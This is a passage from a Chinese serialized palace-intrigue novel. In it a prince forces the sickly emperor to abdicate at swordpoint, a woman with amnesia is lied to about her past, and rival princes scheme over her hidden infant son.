“你……”萧政贤还没来得及说出话来,一股气血直冲喉头,他控制不住地剧烈咳嗽起来,咳得整张脸涨成了猪肝色,仿佛下一秒就要断气。 “你瞧瞧你这副鬼样子,没说几句话就咳成这样,”萧修湛的语气充满了鄙夷和快意,“这样的身子,怎么当得了大邺的皇帝?我看,还不如趁早把这皇位让给本王!” “你?”萧政贤好不容易喘匀了气,闻言发出一声嗤笑,眼神轻蔑地扫过萧修湛的胳膊和毁容的脸,“就凭你?一个断了胳膊又毁了容的怪物,也有资格觊觎这皇位?就不怕被天下人耻笑吗?” “怪物”二字,如同一根毒刺,狠狠扎进了萧修湛最痛的地方。 他的脸瞬间涨红,眼中迸射出疯狂的恨意:“那也比你这个连个种都生不出来的病秧子强!” 这一句,精准地戳中了萧政贤的死穴。 就在两人剑拔弩张,气氛一触即发之际,那个假扮内侍的男子忽然神色一紧,压着声音急道:“瑞王殿下,有人来了!” 就在这时,门外便响起一个温婉柔和的女声:“陛下,夜深了,臣妾给您送安神汤来了……” 是皇后顾晚樱。 萧修湛眼中闪过一抹狠戾,他迅速给了那挟持着萧政贤的黑衣人一个眼神。 萧政贤想制止已经来不及了。 御书房的门被猛地从内拉开,顾晚樱和她的贴身婢女还没反应过来,就被一股大力拽了进去,房门在她们身后“砰”地一声关上。 当看清御书房内的景象时,婢女手里的托盘“哐当”一声摔在地上,汤碗碎裂,褐色的汤汁流了一地。 顾晚樱的脸色瞬间煞白。 不过须臾之间,她便强迫自己冷静下来。 她的目光越过地上的狼藉,死死钉在萧修湛那张可怖的脸上。 “瑞王殿下,你可知挟持陛下,该当何罪?”她的声音很稳,听不出丝毫颤抖,“就算你今日能走出这御书房,你逃得出这皇宫吗?” 萧修湛不以为然地哼了一声:“皇后娘娘怕是还不知道吧?这宫里当值的侍卫,大半都已被本王的舅舅给买通了。本王有何可怕的?” “那禁卫军呢?”顾晚樱立刻反驳,声音冷了下去,“据我所知,统领禁卫军的陈将军,可不是镇国公的人。一旦事情闹大,禁卫军必定会拼死护驾。瑞王,你和你的手下,不过是九死一生。你当真打算拿自己的性命赌吗?” 萧修湛脸上的笑意凝固了。 他怒视着顾晚樱,像是被激怒的野兽:“那又如何?皇兄不仁,就别怪本王不义!他利用完本王就要杀了本王,难道本王还要伸长了脖子,傻乎乎地等着他来砍吗?” 顾晚樱闻言,猛地转头,难以置信地看向被利刃架着脖子的萧政贤。 她知道萧政贤和萧修湛联手,设下圈套将萧凌川骗去西榆的事情。 萧凌川狼子野心,行事毫无底线,以如此卑劣手段对付他,虽令人不齿,却也是迫不得已的抉择。 但她万万没想到,事成之后,萧政贤竟然会掉过头来,对萧修湛赶尽杀绝! 这……这不是典型的过河拆桥,卸磨杀驴吗? 她的夫君,那个曾经在她面前温文尔雅、体贴备至的男人,那个她一心辅佐的君王,何时变得如此阴狠毒辣,毫无人性? 一瞬间,顾晚樱只觉得遍体生寒,如坠冰窟。 对上顾晚樱那双满是诧异的眸子,萧政贤下意识地避开视线,眼底闪过一抹难以言喻的心虚。 曾几何时,他也是清风霁月的少年郎,可如今的自己,早已面目全非。 说不出是权势使然,还是他甘愿为了权势,变成今日这幅心机深沉、手段卑劣的模样。 顾晚樱无暇深究,目光重新锁在萧修湛身上,语速急促却不失冷静地试图劝服:“瑞王,只要你不伤陛下性命,有何条件尽管开口,何必闹到两败俱伤的地步?” 萧修湛冷冷地瞥了萧政贤一眼,嘴角勾起一抹嘲讽的弧度,声音冰寒刺骨:“既然他口口声声说本王断臂毁容,无资格问鼎大邺皇位,那便让他将这皇位,传给本王的子嗣!” 萧政贤怒火中烧,咬牙切齿地低吼:“痴心妄想!” 顾晚樱却一口应下来:“好,本宫答应你!” “空口无凭!”萧修湛眼中闪过一抹狡黠寒光,步步紧逼,“皇兄,不如亲笔写下禅位诏书,以示诚意吧!” 第319章 病弱皇帝的算计 第三百一十九章 病弱皇帝的算计 萧修湛一个眼色,候在一旁的内侍立刻捧来了笔墨纸砚,在御案上铺陈开来。 萧政贤的脸色比那宣纸还要白,握着紫毫笔的手,抖得几乎要写不出一个字。 “陛下,写吧。比起这江山,臣妾更希望您平安无事。”顾晚樱上前,声音染上一丝颤抖,却不是因为害怕,而是心疼。 无论如何,今夜,她必须保下他。 江山没了可以再图,可命没了,就什么都没了。 萧政贤的目光从她决绝的脸上移开,又落到萧修湛那张满是嘲弄和杀意的脸上。那把横在他颈间的利刃,冰冷刺骨,随时都能割断他的喉咙。 重压之下,他终于屈服。 笔尖蘸满了墨,颤巍巍地落在明黄的绢帛上。 每一个字,都像是从他心头剜下的一块肉。 “……朕自感德薄,不堪为君,今传位于瑞王(之)首嗣……” 最后一个字落下,玉玺盖下时,他整个人都像是被抽干了精气神,瘫软在龙椅上。 萧修湛一把夺过那份禅位诏书,展开细细看了一遍,确认无误后,脸上露出心满意足的狞笑。 他将诏书小心翼翼地揣入怀中,一旁的男子这才收回了架在萧政贤脖颈上的利刃。 “谢皇兄,本王替将来的长子感谢你。”萧修湛说完,大笑着,带着他的人扬长而去。 御书房的门被重新关上,隔绝了外面的喧嚣。 “你为何要这样做?” 死寂被萧政贤嘶哑的质问声打破。 他猛地抬头,眼中再无半分温情,只剩下冰冷的怒火和诘难。 “你竟然和他一起逼朕写下那样的诏书!你这样做,置朕将来的皇子于何地?置朕的颜面于何地?” 顾晚樱迎上他愤怒的目光,眼眶瞬间红了。 “陛下,臣妾知道这么做,你肯定会很生气。但比起这江山,臣妾更在乎你! 瑞王竟敢如此大胆地逼宫,肯定是做足了万全的准备。他的背后,绝不仅仅有一个镇国将军。若只有这点依仗,他今夜不会如此狂妄!我们若强行反抗,只会是玉石俱焚!” 萧政贤像是想通了什么关键,神色陡然变得阴沉起来。 “是魏国公……一定是他!当年父皇就看出了他的野心,这才故意将姑母下嫁给他,让他成了大邺的驸马,从此与参政无缘。没想到,这些年,他的野心还未熄灭! 瑞王妃不择手段,竟将自己与魏国公之子的丑事闹得满城风雨,朕迫于无奈,只能下旨让她改嫁!原来如此,他们一早就打着联手的主意!是朕太疏忽,竟让他们在朕的眼皮子底下暗通款曲!” 说到最后,他气得浑身发抖,猛地咳嗽起来,一声比一声剧烈,仿佛要将心肺都咳出来。 “陛下,别想了!”顾晚樱扶住他摇摇欲坠的身体,满脸担忧,“当这个皇帝,料理这些国事,实在太耗费心神了。你看你的身体……臣妾只想陛下身体安康。这大邺的天下,就让他们去争,去抢,我们不掺和了,好不好?” “晚樱,哪有那么容易?”他苦笑一声,“萧修湛那个人,骄淫奢靡,残暴不仁。若真让他得了天下,这大邺的百姓,怕是要被他榨干骨髓。朕……又怎么忍心看着自己的子民受苦?” “那不是陛下您该担心的,”顾晚樱轻声反驳,“届时御史台的言官们,自然会弹劾他!” “弹劾?”萧政贤像是听到了天大的笑话,他轻轻推开顾晚樱,一双眼睛锐利如刀,“那现在呢?他公然带刺客闯宫,用剑指着朕的脖子,逼朕写下禅位诏书!怎么就没有一个御史冲出来弹劾他?你父亲呢?顾御史如今怎么都鲜少在朝堂上露面了?” 他的声音越来越冷,每一个字都像冰锥,扎在顾晚樱心上。 “晚樱,你老实告诉朕,是不是连你也觉得,朕……不配当这大邺的君王?” “陛下!”顾晚樱如遭雷击,泪水终于决堤而下,“您怎么能这么想臣妾?臣妾的兄长……兄长的死给了父亲巨大的打击,他日夜思念,这才忧思成疾的啊……” 提到兄长,她哭得不能自已。 “那便更不能将皇位让给瑞王的子嗣了!” 萧政贤忽然抓住了她的手腕,力道之大,捏得她生疼。 “晚樱,你难道忘了吗?当年你兄长,就是死在萧修湛西征的途中!是他,是萧修湛下的毒手! 当初父皇为了稳固朝局,为了息事宁人,才没有深究!可你和你父亲心里都清楚,就是他!是他杀了你最敬爱的兄长!你难道不想为你兄长报仇吗?!” 被深埋在心底的仇恨,被他血淋淋地刨了出来。 顾晚樱浑身剧烈地颤抖起来,脸色惨白如纸。 “可臣妾……真的不知该如何做……”她的声音抖得不成样子,充满了无助与迷茫。 萧政贤看着她这副模样,眼中闪过一丝得逞的精光。 他凑到她的耳边,声音压得极低,如同毒蛇吐信: “既然朕能利用萧修湛,设局重伤萧凌川……” “那朕,自然也能利用萧凌川,杀了萧修湛!” 顾晚樱惊恐地看着他。 这陌生又狰狞的面容,真的是她深爱多年的人吗? —— 萧凌川准备启程回京城的那日,在西榆收到了一封来自京城皇宫的信。 萧政贤在信中用尽了所有恶毒的词汇痛斥萧修湛,骂他假死脱身,骂他狼子野心,联合镇国将军和魏国公那两个老匹夫,公然闯宫,剑指君王,逼他写下了那份奇耻大辱的禅位诏书。 最后,那扭曲的字迹几乎要划破纸背:“若四弟能念在手足之情,帮朕除掉萧修湛这祸国殃民的逆贼,朕愿与四弟平分天下,共享这大邺江山!” 萧凌川看完,脸上没什么表情,随手将信纸递给一旁的凌风。 凌风只扫了一眼,便气得倒竖双眉,发出一声毫不掩饰的冷笑:“狗皇帝这是跟瑞王联手陷害王爷,结果遭报应了?被人家反过来将了一军,现在走投无路,想起王爷您来了?” 他越说越气,唾沫星子都快喷出来,“还共享江山?当初那般算计您,现在只舍得拿一半的江山来收买您,这狗皇帝的脸皮是真比城墙还厚!” 萧凌川的嘴角终于勾起一个冰冷的弧度,他抬眼望向京城的方向,声音里听不出什么情绪:“没想到,萧修湛的命还真硬。被那么多蛇虫鼠蚁啃噬,竟还能活得好好的,还有能耐逼宫。” “王爷,您可千万别再被这狗皇帝三言两语给骗了!”凌风急切地劝道,“他那个人,身子是病弱,可心眼子比谁都毒!这就是典型的用完您再算计您,您不能再上当了!” “无妨。”萧凌川神色浅淡,“不过是除掉一个萧修湛罢了,废不了多少事。本王有的是法子。” “他不是逼着萧政贤写了禅位诏书吗?”萧凌川的声音压得极低,仿佛淬了剧毒的刀锋,“诏书上写着,将皇位传给他的长子,对吧?” 凌风不明所以,点了点头。 “那本王就让他……”萧凌川脸上的笑容放大,透着一股令人毛骨悚然的寒意,“……这辈子,都没有长子!” 第320章 她失忆了,却记得萧凌川的喜好 第三百二十章 她失忆了,却记得萧凌川的喜好 南都城门大开,风声鹤唳的日子总算过去。 姜天泽不知道萧凌川已经回大邺,只知道他如今是南月的新帝,这片土地的每一寸都是他的地盘。 若继续待在南月,姜姝宁有被找到的风险。 于是他决定带着姜姝宁和姜三夫人,一路向北,朝着大邺的方向颠簸而去。 车厢内,气氛沉闷。 姜姝宁掀开车帘一角,看着窗外飞速倒退的陌生景致,眉头始终没有舒展过。 她的记忆仿佛被雾气笼罩的旧画轴,隐约透着些过去的墨痕,模糊难辨,搅得她心绪难平。 她转过头,目光落在姜天泽那张清隽俊美的脸上。 “天泽,你能再跟我说说我的事吗?我是谁?我和那个景王又是怎么认识的?” 姜天泽垂眸,掩盖眼底一闪而过的情绪。 他不能让她想起姜家,想起丞相府,否则她一旦回到大邺,肯定会去找自己的父亲。 到时候,说不定会被姜丞相第一时间送到萧凌川身边。 片刻后,他强压下心绪,将虚构的谎言娓娓道来:“阿宁,你是个医术高明的医女,你的父母很早就过世了,你一个人靠着医术过活。” 他顿了顿,抬眼看向她,目光里满是怜惜。 “一次机缘巧合,萧凌川受了伤,你出手救了他。可他……见你貌美,便起了歹心,将你强行掳回景王府,囚禁起来。他对外宣称你是他的王妃,可实际上,大邺皇室的宗谱上根本没有你的名字。你只是他一个……名不正言不顺的禁脔。” “至于我,”他脸上的苦涩笑意加深,目光牢牢锁住她,专注而深情,“我是他的表弟,第一次在王府见到你时……便对你一见倾心。看着你被他折辱,郁郁寡欢,我心如刀绞。后来,是你向我求救,我才不顾一切,答应带你离开那个牢笼。” 故事天衣无缝,充满了英雄救美的浪漫与悲情。 姜姝宁却听得有些发懵。 她下意识地摸了摸自己的脸,皮肤光滑,五官清秀,却远谈不上是能让王爷一见倾心、强取豪夺的绝色。 更何况,眼前的姜天泽,眉眼精致,俊美异常,比她更像个能勾人魂魄的妖精。 一个权倾朝野的王爷,一个俊美无俦的贵公子,都对自己一见钟情? 这未免也太离谱了。 尽管心中疑窦丛生,但看着姜天泽那双似乎承载了万千情意的眼眸,她又无法说出质疑的话。 如今的她,无依无靠,除了相信他,别无选择。 或许,姜天泽说的有一件事是真的。 她确实对医术有着一种莫名的熟悉感。 他们中途歇脚时,姜三夫人下车活动筋骨,不小心被路边的荆棘划破了手臂,渗出殷红的血珠。 几乎是同一瞬间,姜姝宁的目光就扫向了路边的一丛不起眼的绿植。 她想也没想,快步走过去,摘下几片叶子,放在手心用力揉(搓)成一团墨绿色的糊状物,然后小心翼翼地敷在姜三夫人的伤口上。 不过片刻,血就止住了。 姜三夫人又惊又喜:“我从来不知道,这路边的野草叶子竟能治伤口!阿宁,你是怎么知道的?” 姜姝宁自己也愣住了,她看着自己的手,茫然地摇摇头:“我也不知道……就是……就是下意识觉得,它应该可以帮你止血愈合。” 姜三夫人拉着她的手,忍不住称赞道:“阿宁,没想到你失忆了,学过的医术却没有忘记。你果然是天生的医者。” 夜晚,三人在一家还算干净的客栈落了脚。 奔波了一天,能吃上一口热饭,已是莫大的慰藉。 店小二端上来一盘碧绿爽脆的酱渍黄瓜。 姜天泽正要伸筷子去夹,姜姝宁几乎是脱口而出:“这道菜性寒,你的肠胃一向虚弱,最好别吃!” 话一出口,她自己都怔住了。 姜天泽的筷子停在半空,脸上先是错愕,随即被一阵狂喜和感动所淹没。 他放下筷子,一双狭长的丹凤眼灼灼地盯着她:“我的肠胃的确一直不好,多谢阿宁提醒。没想到,你……竟然还记得。” 他声音里带着一丝颤抖,“阿宁,你心中果然是有我的。否则,又怎么会在失忆后,依然记得我肠胃虚弱这件事。” “当真?”姜姝宁的心砰砰直跳。 难道……她要恢复记忆了吗? 难道,那些沉寂已久的记忆残片,终于要拼凑出完整的过往了吗? “自然是真的。”姜天泽凝视着她,像是要将她吸入眼底的漩涡中,“阿宁,不管你承不承认,你的心里,其实一直有我。” 他的话音刚落,小二又端了一盘热气腾腾的清蒸鱼上来,鱼肉特有的鲜甜气息瞬间在桌上弥漫开来。 姜天泽饥肠辘辘,拿起筷子准备去夹一块鱼肉。 姜姝宁见状,又一次下意识地开口:“你不是从来不吃鱼的吗?” 空气,仿佛在这一刻凝固了。 姜天泽的筷子猛地顿住,脸上表情瞬间僵住。 不吃鱼的不是他。 是萧凌川。 那个原本早该被她遗忘,此刻却阴魂不散地盘踞在她潜意识里的男人! 他的心像是被一只无形的手狠狠攥住,让他有些喘不过气。 为什么失忆了,她还清楚记得萧凌川的喜好! 但很快,他脸上的神色便迅速被一层温柔的伪装覆盖。 他若无其事地收回筷子,对她柔声道:“我是从来不吃鱼。我只是……想夹一块给你。” “那怎么行!”姜姝宁笑了,全然没察觉到他方才的异样,“我自己夹就好了。你的筷子要是夹了鱼,会沾上鱼腥味的,你肯定不喜欢的!” 说着,她自己夹了一大块细嫩的鱼腹肉放进碗里,津津有味地吃了起来。 姜天泽看着她这副无知懵懂的模样,心口一阵阵地抽痛。 她记得萧凌川不吃鱼,却不知道,他其实最爱吃鱼。 一股阴冷的恨意从心底最深处攀升上来。 他暗暗攥紧了藏在桌下的手,心中暗暗发誓。 总有一天,他会把萧凌川这个名字,连同所有与之相关的记忆,从她的脑海里,从她的骨血里,一丝不剩地,彻底剔除干净! 当晚,姜姝宁做了一个奇怪的梦。 梦里个白白胖胖的婴孩,他被她抱在臂弯里,温热的,小小的,团团可爱。 一双眼睛黑得像刚熟透的葡萄,清澈见底,总是一眨不眨地望着她。 她逗弄他,他就发出“咯咯咯”的笑声,小小的手抓着她的手指,软得不可思议。 一种前所未有的柔软和满足感,像暖流一样包裹了姜姝宁的心脏。 第二天醒来时,她竟有些怅然若失。 怀里空落落的,那份柔软的触感却仿佛还烙在手臂上,挥之不去。 之后她跟着姜天泽他们一路北上,风尘仆仆。 他们偶尔会经过一些村庄或集镇,她总会下意识地看向那些被父母抱在怀里的孩子。 有些孩子生了病,面黄肌瘦,啼哭不止,惹人怜惜。 有些孩子则健康活泼,粉雕玉琢,可爱至极。 可没有一个,像梦里那个孩子一样,能在让她如此牵肠挂肚。 起初她只当是偶然。可这样的梦境却越来越频繁,越来越清晰。 她甚至能闻到他身上淡淡的奶香,能感觉到他抓住她衣襟时那小小的力道。 直到最后一个梦。 她梦见她要和他分开了。 他没有哭,只是睁着那双黑葡萄似的大眼睛看着她,眼里蓄满了泪水。 她是在一阵心碎的悲恸中醒来的,脸颊上满是冰凉的泪痕。 心像是被生生撕开一道口子,疼痛不已。 梦境真实得过分,那股撕心裂肺的痛楚更是前所未有。 她猛地坐起身,去找另一间房的姜天泽,声音干涩地问他:“天泽,我和那个景王萧凌川,是不是……有过一个孩子?” 姜天泽像是被什么东西狠狠蛰了一下,眼里浮起一丝惊惧。 他死死盯着她,不知道是想说服她,还是在说服他自己,几乎是吼出来的:“绝无可能!” 第321章 她生过一个孩子 第三百二十一章 她生过一个孩子 姜姝宁被他这突如其来的吼声吓得浑身一颤,整个人僵在原地。 见她这副惊弓之鸟的模样,姜天泽心头一刺,连忙收敛了所有外泄的情绪。 他上前一步,声音刻意放得极柔:“对不起,阿宁,我不是故意吼你的。” 他试图去碰她的手臂,却被她慌忙避开。 姜天泽的手尴尬地停在半空,又狼狈地收回。 他急切地解释道:“我的意思是……你对萧凌川毫无感情,你恨他入骨,是被迫留在他身边的。以你的医术,就算他真的……强迫了你……你肯定有上百种法子,让自己不怀上他的孩子。所以,你们之间,绝对、绝对不可能有孩子!” 他每一个字都咬得很重,像是在用这番话给自己筑起一道高墙,抵御某种即将崩塌的恐惧。 她心底还保留着对萧凌川的某些记忆已经让他足够嫉妒了,若两人之间还有一个用血脉相连的孩子……那这道斩不断的羁绊,岂不是要将他彻底碾碎? 姜姝宁低垂着眼,长长的睫毛在眼下投出一片黯淡的阴影。 “可能是我想多了吧。” 她嘴上这么说,可心里那颗怀疑的种子压根没有被拔除。 梦里那个孩子温热的触感,那双黑葡萄般纯净的眼睛,那股撕心裂肺的离别之痛,真实得仿佛就发生在昨日。 如果只是梦,为何会痛彻心扉? 可姜天泽的反应实在太过激烈,她只能将所有未尽的追问都咽了回去,默默地转身回了房。 姜天泽看着她单薄的背影,藏在袖中的手死死攥成了拳,指节因用力而泛白。 但没关系,只要到了一个全新的地方,隔绝掉所有可能唤醒她记忆的人和事,他有的是时间和办法,将她脑子里关于萧凌川的一切,连根拔起。 经过近半月的跋涉,马车终于驶离了南月的地界,踏上了大邺的土地。 姜天泽无意带她返回京城,南朔,这座临近边境的小城,成了他们暂时的落脚点。 姜姝宁一踏上南朔的青石板路,就觉得这里有种说不出的熟悉感。 空气中弥漫着潮湿的泥土和草药混合的气息,街边屋檐的弧度,甚至远处隐约传来的孩童嬉闹声,都让她感到一阵莫名的亲切。 以至于当姜天泽小心翼翼地问她,是否愿意暂时在这里生活时,她几乎没有犹豫,一口便应下。 姜天泽眼中迸发出显而易见的喜悦。 他雷厉风行地买下一座雅致的两进院落,又和匆匆赶来的姜三夫人一起,里里外外地张罗布置,大到桌椅床柜,小到碗筷茶杯,无不亲自挑选,务求让她住得舒心。 他还向她承诺,会尽快盘下一间铺子,让她开一间属于自己的药铺,用一身医术在此安身立命。 宅邸的事有姜天泽和姜三夫人操持,姜姝宁反而清闲下来。 她便独自一人在城中随意闲逛。 走着走着,一个牌匾映入眼帘——“女堂”。 她好奇地踱步进去,发现这里竟是一间专门为女子医病的药馆。 来看诊的、抓药的,清一色都是女子。 药柜上贴着的标签也多是调理气血、安胎保胎之类的药材。 一位正在坐堂的、上了年纪的女医见她东张西望,便笑着起身招呼:“姑娘是哪里不舒服吗?” “我只是路过,随便看看。”姜姝宁笑了笑,好奇地问道:“南朔只是个小城,像这样专给女子看病的药馆,生意好做吗?会不会……没什么人来?” “姑娘你有所不知啊。”那女医很是健谈,一边整理着药材,一边叹了口气道,“咱们这儿,几年前遭过一场大劫,南月来的‘毒猫’,厉害得很!那东西一闹,城里死了好多人,真是惨不忍睹啊。为了让我们这儿尽快恢复生机,当时的县令便下了死命令,说绝不能再让一个产妇死在产床上。” 女医顿了顿,继续道,“所以我们就找来了所有会医术的婆子、女医,开了这家‘女堂’。不止是给妇人们调理身子,更要紧的,是把那些难产的女人,从鬼门关里往回抢!只有保住了娘,才能保住娃,我们南朔,才能有新的娃娃不断出生,才能重新活过来!” “南月毒猫……” 姜姝宁喃喃地重复着这个词,脑中仿佛有惊雷炸开。 眼前毫无征兆地掠过一些血腥而破碎的场景——浑身僵硬、双目无神、如同行尸走肉般移动的人群,还有那划破夜空、凄厉恐怖、不似人声的嚎叫…… 一阵剧烈的头痛袭来,她踉跄一步,扶住了身旁的药柜。 为何……会有如此清晰又恐怖的画面? 那些声音,那些景象,仿佛就刻在她的脑子里。 难道,她曾经来过这里?亲眼见过那场灾祸? 她抬起煞白的脸,紧紧盯着眼前的女医,声音有些发抖:“女医,你……可曾见过我?” 女医仔细地端详了她半晌,最终摇了摇头:“姑娘长得很漂亮,若我见过你,肯定会记得的。” 女医当然不认得她,当年姜姝宁跟着孙神医在南朔救治百姓时,为图方便,一直都是女扮男装,以“姜大夫”的名头行事。 “那……可能是我想多了。”姜姝宁有些尴尬地笑了笑,强行压下心头的惊涛骇浪,转而问出了那个盘踞心头、让她夜不能寐的问题,“对了,女医,你行医多年,为那么多女子医治过……能否只凭诊脉,就断定一个女子是否生育过?” “这有何难?”女医闻言,脸上露出十足的信心,爽朗地笑道,“女子生育,气血大亏,元气大伤,脉象上必有痕迹,与寻常女子截然不同。老婆子我一把脉便知!” 姜姝宁向前一步,几乎是迫不及待地将自己的手腕伸了过去:“还请医女……帮我把脉试试!” 那女医见她神色郑重,也不再多言,让她坐下,三根枯瘦却稳定的手指轻轻搭在了她的寸口之上。 姜姝宁屏住呼吸,感觉自己的心跳声在耳边无限放大,每一次搏动都像是在擂鼓。 片刻之后,那女医松开手,抬眼看她,眼神里带着一丝了然和肯定。 “姑娘……”她顿了顿,改了称呼,“夫人,您生过一个孩子。” 姜姝宁的瞳孔骤然一缩。 女医继续用平稳的语调说道:“而且,从你这产后气血亏虚、尚未完全复原的脉象来看,那孩子,还不满半岁!” “当真?”姜姝宁脱口而出,声音抖得不成样子。 “脉象是如此,绝不会错!” 果然! 那个频繁出现的婴孩果然不仅仅是梦! 她真的生过一个孩子!一个属于她的,活生生的孩子! 可她的孩子……现在在哪儿? 第322章 君儿不能给他! 第三百二十二章 君儿不能给他! “本王和王妃的孩子,究竟在哪?” 景王府地牢,潮湿的空气里弥漫着血腥与霉腐的气息。 萧凌川隐在光影中的身形,散发着比地狱修罗更令人胆寒的阴鸷。 崔芝兰的十指被竹夹夹得青紫,额上冷汗涔涔,嘴唇因为剧痛而毫无血色。 她费力地抬起眼皮,扯出一个比哭还难看的笑:“王爷……何必呢……那也是……王妃求着妾身帮她送走的……您这样苦苦相逼……就不怕她……恨你吗?” 每一个字,都像淬了毒的针,精准地刺入萧凌川最脆弱的软肋。 “闭嘴!”一声怒吼如困兽嘶鸣,震得墙壁上的尘土簌簌而下。 萧凌川猛地踏出暗影,猩红的眼底翻涌着毁灭一切的疯狂,“你没有资格提她!” 那股失去挚爱的恐慌与无处发泄的狂怒,此刻尽数化为对眼前这个女人的刺骨憎恶。 若不是她暗中相助,姝宁怎会离他而去? 若不是她帮姝宁蓄意诓骗,他和姝宁唯一的血脉,又怎会至今下落不明! 他像是困在笼中的野兽,焦躁地踱了两步,猛然回头,对侍卫下令:“继续用刑! 本王不信她的骨头比铁还硬!” 他暴躁地来回踱步,每一步都像是要将脚下的石板踩碎。 下一刻,他猛然想起什么,脚步顿住,眼中滔天的怒火瞬间退去,只余一片冰冷的死寂。 他转向身后的侍卫,声音没有一丝温度:“派人盯紧她的婢女小翠。” 主子在受刑,婢女肯定会跑去搬救兵。 他倒想看看,谁敢将他和姜姝宁的孩子偷偷藏起来! 果然,得知崔芝兰被关在地牢行刑,小翠坐不住了,她偷偷溜出府,直奔宁王府。 “殿下!求您救救我家小姐!求您了!”她跪在萧怀瑾面前,哭得上气不接下气,“景王……回来了!他把小姐关进了地牢,正在用刑,逼问小世子的下落!” 萧怀瑾心口猛然收紧,原本平静无波的脸上浮起惊诧之色。 萧凌川回来了? 他不是在西榆身负重伤、命悬一线吗? “他什么时候回来的?”萧怀瑾的声音听不出情绪,却让周遭的空气都冷了几分。 “就……就在今天……突然就回来了……”小翠抽噎着。 “那姜姑娘呢?表妹不是说,她的‘尸首’被景王带去南月了吗?”萧怀瑾追问道。 “奴婢也不知道……奴婢没看到王妃……” 萧怀瑾神色沉了下去。 萧凌川回来的第一件事,就是找孩子。 但姜姝宁却下落不明。 看来,姜姝宁定是趁他不注意逃走了,为了逼她出现,他才想尽快找到他们的孩子。 君儿,不能给他! 想到这,他转过身,目光落在小翠身上,冷静得可怕。 “你立刻去外面抱一个五个月大的健康男婴回来,直接送到丞相府。”萧怀瑾语速极快,“把孩子交到丞相和丞相夫人手上,告诉他们,这是姜姝宁为景王生下的孩子。让他们对外宣称,这孩子三个月前就在府中将养,从未示人。” 他顿了顿,加重了语气,“你务必让他们明白,这件事关乎姜姝宁的性命,若有半句差池,萧凌川发起疯来,谁也保不住她。让他们必须按本王说的做!” 小翠听得目瞪口呆:“可……小世子明明在您这儿啊!景王要是发现那孩子是假的……” “他不会发现。”萧怀瑾打断她,眼神里透出一股不容置疑的笃定,“他从未见过自己的孩子,几个月大的婴孩长得都差不多,他分不出来。 更何况,孩子在丞相府,由自己的亲外祖父外祖母照看着,合情合理,他不会怀疑。你办完这件事,就立刻回景王府,告诉萧凌川,孩子在丞相府。他自然会放了崔芝兰。” 小翠还想再问,却被萧怀瑾冰冷的眼神堵了回去,只能颤抖着应下:“是……奴婢这就去办……” 看着小翠仓皇离去的背影,萧怀瑾眼中的冷意才渐渐散去,取而代之的是一片复杂难辨的深沉。 他快步走向后院一处僻静的暖阁。 刚一进门,就听到了婴孩咿咿呀呀的声音。 乳母正抱着一个粉雕玉琢的男婴在屋里踱步,看到他进来,连忙行礼:“殿下。” “君儿今日乖吗?”萧怀瑾走上前,目光落在孩子身上,瞬间变得无比柔和。 小邺君已经五个月大了,白白胖胖,一双眼睛又黑又亮,像极了姜姝宁。 看到萧怀瑾,他立刻咧开没牙的嘴,咯咯地笑起来,还伸出胖乎乎的小手要他抱。 乳母笑道:“殿下,小公子可喜欢您了,一见您就笑。奴婢带过这么多孩子,就没见过像小公子这般机灵讨喜的。” 萧怀瑾从乳母手中接过孩子,动作熟练又轻柔。 小邺君在他怀里蹭了蹭,小脑袋靠着他的胸膛,十足的依赖。 这两个多月以来,他几乎每天都会来看这个孩子。 起初只是为了姜姝宁,为了那个虚无缥缈的念想。 可渐渐地,这个柔软的小生命,已经在他心里占据了一块地方。 这是他和姝宁之间的纽带。 他怎么可能舍得把这个孩子还给萧凌川? 他抱着小邺君,低声呢喃:“君儿,以后,你就跟着我,好不好?” 怀里的小人儿仿佛听懂了,又发出一串清脆的笑声。 萧怀瑾的心,软得一塌糊涂。 这份柔软,却也让他下定了更坚决的决心。 他叫来心腹阿齐。 “立刻去找一个和君儿差不多大的男婴,长相最好有几分相似。”萧怀瑾抱着孩子,声音压得极低,“找到后,直接送进府里。” 阿齐(心)里咯噔一下,瞬间明白了自家主子的意图:“殿下,您是想……” “另外,”萧怀瑾没有理会他的震惊,继续吩咐,“让乳母现在就收拾东西,带着君儿从后门走,去城西那处宅子先安置下来。记住,动作要快,要隐蔽,不能让任何人发现。” 阿齐倒吸一口冷气,他知道,这是要用一个假孩子,换掉真正的小世子。 “殿下,此事非同小可!万一被景王发现……” “没有万一!”萧怀瑾的眼神骤然变得锐利,“萧凌川的动作比我们想象的快,他很快就会找上门来!快去!” 第323章 持剑相逼 第三百二十三章 持剑相逼 小翠抱着个从人牙子手里买来的男婴,疾步赶到丞相府。 还好怀里的孩子不认生,一路颠簸也不哭不闹,只是睁着一双乌溜溜的眼睛好奇地打量着四周。 丞相府的门房见她一个面生的丫鬟抱着孩子,本想拦下,可小翠直接报上了崔芝兰的名号,门房不敢怠慢,连忙进去通报。 姜丞相与姜夫人匆匆赶到前厅时,脸上还带着未散的惊疑。 他们看着小翠怀中那个尚在襁褓的婴孩,一时间各种猜测袭上心头。 “这……这是……”姜夫人声音发颤,目光在孩子脸上来回逡巡。 “姜丞相、姜夫人。”小翠福了福身,“这是王妃和景王殿下的小世子。” 一句话,如同一道惊雷,劈得姜丞相夫妇外焦里嫩。 宁儿?她什么时候生了孩子?他们竟一无所知! 小翠不等他们消化这个惊天动地的消息,就扑通一声跪了下来,声音里带着哭腔:“姜丞相、夫人,求求你们救救王妃,救救我家小姐吧!” “你先起来,有话慢慢说。”姜丞相拧着眉,沉声道。 小翠却只是一个劲地磕头,将萧怀瑾教的说辞一股脑儿地倒了出来:“王妃本是让我家小姐帮忙把小世子藏起来的,可现在王爷正在气头上,我家小姐怕王爷追究,这才……这才斗胆将小世子送来相府! 王爷现在正在大发雷霆,我家小姐还在王府的地牢里受刑呢!求求二位了,若是王爷问起,你们务必要说,小世子这三个月来,一直都是在相府养着的!” 她抬起头,脸上满是泪痕,眼神里是恰到好处的惊恐与哀求,“若你们不这么说,我家小姐性命难保,王妃她……她也抵挡不住王爷的雷霆之怒啊!” “什么?宁儿她……”姜夫人一听女儿有难,脸色瞬间煞白。 她本就心疼女儿在景王府过得不如意,也知道女儿三番两次想要离开那个地方。 如今听闻这般内情,哪里还有半分怀疑。 在姜夫人看来,女儿宁愿将亲生骨肉藏起来也不愿让萧凌川知道,可见是被逼到了何种绝境。 “知道了!”姜夫人一把扶住桌沿,稳住心神,斩钉截铁地应下,“你放心,届时王爷问起,我们……我们便照你说的回话!” 小翠重重磕了个头,这才颤巍巍地站起身,将怀里的孩子交给她,而后便头也不回地冲出了丞相府。 